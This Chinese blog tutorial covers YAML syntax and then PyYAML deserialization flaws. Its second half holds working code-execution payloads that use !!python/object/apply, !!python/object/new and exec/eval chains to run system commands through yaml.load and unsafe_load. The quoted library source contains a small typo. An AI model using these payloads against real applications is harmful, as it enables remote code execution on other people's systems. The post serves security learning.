pyyaml 反序列化

参考链接:https://xz.aliyun.com/t/12481

yaml基础理论

yaml也是一种序列化语言,但是不同于之前学习的pickle,yaml具有良好的跨平台性,同时利于人阅读(虽然pickle也能挺着读).yaml文件的后缀一般为yml

yaml基本语法

1.大小写敏感
2.使用空格来表示层次关系,禁止使用tab,相同层级的对其即可
3.使用#来表示单行注释

person:
  name: John
  age: 30
  address:
    street: Main St.
    city: Anytown
    state: CA
  hobbies:
    - reading
    - hiking
    - swimming

4.一个文件中可以包括多个序列化内容,通过---来表示一个序列化内容的开始,通过...来表示一个序列化内容的结束

---
example1:
  username: admin
  passwd: 123456
...

---
example2:
  username: aaa
  passwd: 666
...

yaml中的数据类型

1.标量:如字符串,整数,浮点数,布尔值等

name: "John"  # 字符串
age: 30       # 整数 (可以支持二进制表示)
height: 5.8   # 浮点数 (可以支持科学计数法)
is_student: false  # 布尔值 (null,Null,~均为空)

2.列表:通过短横线表示,是有序的结构

fruits:
  - apple
  - banana
  - orange

也支持使用类似python中的内敛形式,通过[]来引起,中间通过,来分割

fruit: [apple, banana, orange]

同时支持嵌套结构,使用缩进来表示层级关系

fruit: 
-
  - apple
  - banana
-
  - orange

3.映射:使用键值对来表示,是无序结构

person:
  name: John
  age: 30
  city: New York

也支持类似python中字典的写法,通过{}来引起,中间通过,来分割

key: { username: admin, passwd: 123456}

可以通过?来声明一个复杂的结构,通过多个数组来组成键或值

?
  - user1
  - user2
:
  - passwd1
  - passwd2

同时支持嵌套结构,使用缩进来表示层级关系

example:
  aaa: 123
  bbb:
    ccc:
      ddd: 666

4.多行字符串:可以通过管道符|或是重定向符号>来表示.

description: |
  This is a multi-line
  string using the pipe symbol. # 每行的缩进和行尾空白都会被去掉,而额外的缩进会被保留
lines: >
  aaa
  bbbbbb
  ccccccc

  dddddddd  # 只有空白行才会被识别为换行,原来的换行符都会被转换成空格

字符串一般不需要使用引号包围,但是如果使用了转义字符,则需要使用引号.

strings: 
  - Hi
  - "\u0048\u0069" # Hi的Unicode编码
  - "\x46\x69\x6e\x65" # Fine的Hex编码

5.引用类型:yaml中可以使用锚点&和别名*来创建引用类型.

person1: &person_alias
  name: John
  age: 30

person2: *person_alias

相当于

person1:
  name: John
  age: 30

person2:
  name: John
  age: 30

而如果是在映射中使用别名的话,需要使用合并标签<<来构成键值对形式.注意如果所有的别名都使用了合并标签的话,则锚点实际上并不存在.

# 使用锚点和别名消除重复代码
defaults: &defaults
  host: localhost
  port: 8080
  timeout: 30

development:
  <<: *defaults
  database: dev_db

test:
  <<: *defaults
  database: test_db
  timeout: 60

相当于

development:
  host: localhost
  port: 8080
  timeout: 30
  database: dev_db

test:
  host: localhost
  port: 8080
  timeout: 60
  database: test_db

6.时间戳:可以使用ISO 860国际标准来表示时间

timestamp: 2023-04-24T12:34:56.789Z

7.强制类型转换:yaml中支持使用严格类型标签!!来强制类型转换,例如:

# 使用显式类型转换将字符串转换成整数和浮点数
age: !!int 30
pi: !!float 3.14

# 使用显式类型转换将数字转换成字符串
number_as_str: !!str 123

# 使用显式类型转换将字符串转换成布尔值
is_valid: !!bool "true"

# 使用显式类型转换将时间戳转换成日期时间
created_at: !!timestamp 2023-04-24T12:34:56.789Z

# 使用显式类型转换将列表转换成其他类型
list_as_str: !!str [1, 2, 3]
list_as_map: !!map [1, 2, 3]

yaml反序列化漏洞成因及利用

pyyaml中的解析器,加载器和构建器

在 PyYAML 中,解析器(Parser),加载器(Loader)和构建器(Constructor)是三个协同工作的组件,它们共同负责将 YAML 文本转换成 Python 对象.下面是每个组件的作用和关系:

  • 解析器(Parser)
  • 作用: 解析器负责读取原始的 YAML 文本,并将其转换成一个令牌(Token)流.这些令牌表示 YAML 文本中的结构和语法元素,如标量,序列,映射的开始和结束,以及键值对等.
  • 关系: 解析器是处理 YAML 数据的第一步,它仅关注于文本的语法结构,不涉及具体的数据类型转换.解析器的输出(令牌流)被传递给加载器.
  • 加载器(Loader)
  • 作用: 加载器接收解析器生成的令牌流,然后使用构建器将这些令牌转换成内部的节点树(如标量节点,序列节点,映射节点).加载器还负责解析 YAML 中定义的标签(如 !!str,!!int),并根据这些标签和节点类型调用相应的构建器方法来创建 Python 对象.
  • 关系: 加载器是连接解析器和构建器的桥梁.它解析令牌流并构建内部节点树,然后依据这些节点和标签信息调用构建器来生成最终的 Python 对象.
  • 构建器(Constructor)
  • 作用: 构建器负责将加载器生成的内部节点树转换为具体的 Python 数据结构和对象.它根据节点的类型(标量,序列,映射)和标签(如 !!str,!!seq)来创建相应的 Python 对象(如字符串,列表,字典).
  • 关系: 构建器直接由加载器调用,是将 YAML 数据转换为 Python 对象的最后一步.构建器可以被扩展以支持自定义的 YAML 标签和相应的 Python 对象转换.
    总结来说,解析器,加载器和构建器是 PyYAML 库处理 YAML 数据的三个主要组件.解析器负责分析文本结构,加载器负责解析令牌流并构建节点树,构建器则根据这些节点和标签信息创建最终的 Python 对象.这个过程允许 PyYAML 将复杂的 YAML 数据高效地转换为 Python 中的数据结构.

加载器的构造函数

什么是加载器的构造函数?

import yaml

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

# 自定义构造器函数
def construct_person(loader, node):
    # 获取Person类的属性值
    data = loader.construct_mapping(node, deep=True)
    # 实例化Person类并设置属性
    return Person(data['name'], data['age'])

# 将!python/object标签映射到自定义构造器函数
yaml.add_constructor('!python/object:__main__.Person', construct_person)

# 定义一个包含自定义类实例的YAML数据
yaml_data = """
name: John
age: 30
person:
  !python/object:__main__.Person
  name: Alice
  age: 25
"""

# 使用yaml.Loader()方法解析YAML数据
data = yaml.load(yaml_data,Loader=yaml.Loader)

# 输出解析后的Python对象
print(data)

#{'name': 'John', 'age': 30, 'person': <__main__.Person object at 0x0000014CB7884F90>}

其中的add_constructor用于为加载器添加自定义的解析规则,第一个参数为一个标签,第二个参数为自定义的构造器函数
construct_mapping为加载器自带的构造器函数,用于获取某个节点的键值对,类似的构造函数如下:

  1. construct_scalar:
    • 用于处理YAML标量节点(如字符串、整数、浮点数).
    • 返回节点的单一值.
  2. construct_sequence:
    • 用于处理YAML序列节点(类似于Python中的列表或元组).
    • 返回一个Python列表,包含序列中的所有元素.
  3. construct_mapping:
    • 已经提到,用于处理YAML映射节点(键值对),返回一个Python字典.
  4. construct_pairs:
    • 用于处理YAML映射节点,但与construct_mapping不同的是,它保留了键值对的顺序.
    • 返回一个列表,列表中的每个元素都是一个键值对元组.
  5. construct_object:
    • 用于根据YAML节点构造任意Python对象.
    • 这个函数通常在更复杂的自定义构造器中使用,当需要直接控制对象的创建过程时.
  6. construct_undefined:
    • 用于处理未定义标签的YAML节点.
    • 这可以用于捕获错误或处理未知标签.

上面的代码给yaml添加了一个自定义的构造器函数,成功的使返回的结果中包含了一个对象.

pyyaml<5.1

旧特性

在pyyaml5.1版本以下可以在load和load_all的时候不设置Loader参数,默认使用的是Loader是UnsafeLoader
在5.1之前存在下面的四种加载器

  1. BaseLoader:只加载最基本的 YAML,所有东西都作为字符串处理.
  2. SafeLoader:安全地加载 YAML,只允许包含简单数据类型的 YAML 文件.
  3. FullLoader:加载更复杂的 YAML,但仍然避免执行任意代码.
  4. UnsafeLoader(也称为 Loader):没有限制地加载任意对象,包括执行任意代码的能力.
漏洞成因

在pyyaml<5.1的情况下默认使用Constructor作为构建器,但是但是Constructor.py对python的标签解析时存在着漏洞.
存在漏洞的标签如下:

!!python/object/new
!!python/object/apply
!!python/module (未成功)
!!python/name (未成功)

经过分析其源码发现:这些标签的构造器函数都调用了make_python_instance(),如下

def make_python_instance(self, suffix, node,
            args=None, kwds=None, newobj=False, unsafe=False): #用于创建Python对象的实例
        if not args:
            args = [] #对args进行空值处理,如果不存在,将args设置为空列表
        if not kwds:
            kwds = {} #对kwds进行空值处理,如果不存在,将kwds设置为空字典
        cls = self.find_python_name(suffix, node.start_mark)#利用定义的find_python_name方法根据suffix字符串和node节点的起始标记查找Python对象的完整名称,然后获取该对象的类对象
        if not (unsafe or i/sinstance(cls, type)):
            raise ConstructorError("while constructing a Python instance", node.start_mark,
                    "expected a class, but found %r" % type(cls),
                    node.start_mark)#如果unsafe参数为False,并且获取的对象不是类对象,则抛出ConstructorError异常.
        if newobj and isinstance(cls, type):
            return cls.__new__(cls, *args, **kwds)
        else:
            return cls(*args, **kwds)#根据newobj参数的值,以及获取的类对象是否为类型对象,选择使用__new__方法或__init__方法创建Python对象实例,并将args和kwds参数传递给构造函数.如果newobj为True且获取的类对象是类型对象,则使用__new__方法创建实例;否则,使用__init__方法创建实例

我们发现是利用args和kwds这两个参数来动态的创建对象.而这个函数又调用了find_python_name(),如下

def find_python_name(self, name, mark, unsafe=False):
        if not name:
            raise ConstructorError("while constructing a Python object", mark,
                    "expected non-empty name appended to the tag", mark) #如果name为空,将会报错
        if '.' in name:
            module_name, object_name = name.rsplit('.', 1) #如果name中包含".",将会对name进行分割为模板名和对象名
        else:
            module_name = 'builtins'
            object_name = name #如果name中没有".",则会将模板名命名为"builtins",对象名命名为"name"
        if unsafe:
            try:
                __import__(module_name) #unsafe默认为False,所以可以利用__import__将模块导入
            except ImportError as exc:
                raise ConstructorError("while constructing a Python object", mark,
                        "cannot find module %r (%s)" % (module_name, exc), mark) #如果ImportError异常,将会报错
        if not module_name in sys.modules:
            raise ConstructorError("while constructing a Python object", mark,
                    "module %r is not imported" % module_name, mark)#如果模块不在sys.modules字典中,将会报错
        module = sys.modules[module_name]
        if not hasattr(module, object_name):
            raise ConstructorError("while constructing a Python object", mark,
                    "cannot find %r in the module %r"
                    % (object_name, module.__name__), mark)#使用hasattr()函数查该模块是否包含了指定的对象名,如果没有将报错
        return getattr(module, object_name)#利用getattr()函数获取返回值

可以通过引用module类来创建对象,实现任意代码的执行.

漏洞利用

目前测试可用的是如下两套payload
1.python.object.new

import yaml
poc = '!!python/object/new:os.system ["calc.exe"]'
#给出一些相同用法的POC
#poc = '!!python/object/new:subprocess.check_output [["calc.exe"]]' 
#poc = '!!python/object/new:os.popen ["calc.exe"]'
#poc = '!!python/object/new:subprocess.run ["calc.exe"]'
#poc = '!!python/object/new:subprocess.call ["calc.exe"]'
#poc = '!!python/object/new:subprocess.Popen ["calc.exe"]'
yaml.load(poc)

2.python.object.apply

import yaml
poc = '!!python/object/apply:os.system ["calc.exe"]'
#给出一些相同用法的POC
#poc = '!!python/object/apply:subprocess.check_output [["calc.exe"]]' 
#poc = '!!python/object/apply:os.popen ["calc.exe"]'
#poc = '!!python/object/apply:subprocess.run ["calc.exe"]'
#poc = '!!python/object/apply:subprocess.call ["calc.exe"]'
#poc = '!!python/object/apply:subprocess.Popen ["calc.exe"]'
yaml.load(poc)

其余的payload未成功,有需要可以去开篇的链接去学习.

pyyaml>=5.1

还是原先的四个加载器,但是强制要求在使用load等方法的时候手动选择加载器,否则会警告.同时也提供了unsafe_load()方法,可以不选择加载器,相当与之前版本的load.
漏洞成因:和之前版本大体相同(实际上不写是因为看不懂了).
下面是几个可用的payload:

from yaml import *
poc= b"""!!python/object/apply:os.system
- calc"""
#subprocess.check_output
#os.popen
#subprocess.run
#subprocess.call
#subprocess.Popen

yaml.load(poc,Loader=Loader)
yaml.unsafe_load(poc)

下面是利用builtins的:

#报错,但是能够成功的执行
import yaml
poc= b"""
- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').system('whoami')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec
"""
yaml.unsafe_load(poc)
yaml.load(poc,Loader=yaml.Loader)
import yaml
poc= b"""
!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:eval }]
  listitems: "__import__('os').system('whoami')"
"""
# !!python/object/new:type
#   args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
#   listitems: "__import__('os').system('whoami')"
yaml.unsafe_load(poc)
yaml.load(poc,Loader=yaml.Loader)
import yaml
poc= b"""
- !!python/object/new:yaml.MappingNode
  listitems: !!str '!!python/object/apply:subprocess.Popen [whoami]'
  state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:yaml.unsafe_load
"""
yaml.unsafe_load(poc)
yaml.load(poc,Loader=yaml.Loader)
posted @   meraklbz  阅读(233)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· 葡萄城 AI 搜索升级:DeepSeek 加持,客户体验更智能
· 什么是nginx的强缓存和协商缓存
· 一文读懂知识蒸馏
点击右上角即可分享
微信分享提示